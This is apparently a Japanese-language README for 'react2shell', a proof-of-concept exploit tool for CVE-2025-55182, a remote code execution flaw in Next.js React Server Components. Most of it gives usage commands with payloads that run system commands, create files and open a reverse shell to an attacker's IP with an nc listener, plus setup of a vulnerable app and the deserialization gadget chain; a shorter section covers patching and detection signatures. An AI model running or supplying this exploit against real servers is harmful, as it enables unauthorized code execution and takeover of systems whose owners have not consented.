
脆弱性CVE-2025-55182を悪用するための完全なフレームワーク
CVE-2025-55182 に対する概念実証エクスプロイトです。これは、React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行の脆弱性です。
このツールは教育目的および許可されたセキュリティテスト専用です。
# このリポジトリをクローンまたはダウンロード
git clone https://github.com/zr0n/react2shell
cd react2shell
# 依存関係をインストール
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
| ペイロード | 説明 | 例 |
|---|---|---|
basic | 数学的な概念実証 (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | 現在のシステムユーザーを表示 | node react2shell.js http://target:3000 whoami |
dir | 現在のディレクトリの内容を一覧表示 | node react2shell.js http://target:3000 dir |
systeminfo | オペレーティングシステム情報を表示 | node react2shell.js http://target:3000 systeminfo |
file | EXPLOITED.txt 証明ファイルを作成 | node react2shell.js http://target:3000 file |
calc | 電卓を起動(Windows 視覚的証明) | node react2shell.js http://target:3000 calc |
notepad | メモ帳を起動(Windows 視覚的証明) | node react2shell.js http://target:3000 notepad |
shell | リバースシェル(Windows/Linux 自動検出) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |
node react2shell.js http://localhost:3000 basic
# サーバーコンソールで出力を確認: EXPLOITED: 50
# 現在のユーザーを取得
node react2shell.js http://localhost:3000 whoami
# ファイルを一覧表示
node react2shell.js http://localhost:3000 dir
# システム情報
node react2shell.js http://localhost:3000 systeminfo
# 電卓を起動
node react2shell.js http://localhost:3000 calc
# メモ帳を起動
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# サーバーディレクトリで EXPLOITED.txt を確認
# 端末1: リスナーを起動
nc -lvnp 4444
# 端末2: エクスプロイトを実行
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Windows (PowerShell) および Linux (Bash) の両方で動作
# プロジェクトディレクトリを作成
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# 脆弱なバージョンで Next.js を初期化
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# 脆弱なバージョンにダウングレード
npm install [email protected]
# 依存関係をインストール
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# サーバーは http://localhost:3000 で起動
このエクスプロイトは、React Server Components におけるデシリアライゼーションの脆弱性を利用します。
constructor.constructor を悪用して Function コンストラクタにアクセス_prefix フィールドを通じて任意の JavaScript コードを注入// 簡略化された脆弱性チェーン
{
_formData: {
get: '$3:constructor:constructor' // Function コンストラクタへのアクセス
},
_prefix: 'YOUR_CODE_HERE//' // 注入されたコード
}
直ちに更新:
npm update next@latest
npm update react@latest react-dom@latest
パッチ適用バージョンの確認:
npm list next react
必要なバージョン:
next-action ヘッダーを含む不審な POST リクエストを監視以下の POST リクエストを監視:
next-actionmultipart/form-dataconstructor、_prefix、_formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (成功したエクスプロイト) または 500 (失敗)
これは教育ツールです。以下の改善に貢献してください:
攻撃能力を強化する投稿は送信しないでください。
教育目的のみ - 保証は一切ありません
Luiz Fernando Ziron サイバーセキュリティの教育と啓発目的で作成されました。
このツールを使用することにより、以下に同意したものとみなされます:
コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪です。
安全に、倫理的に、合法的に行動しましょう。🔒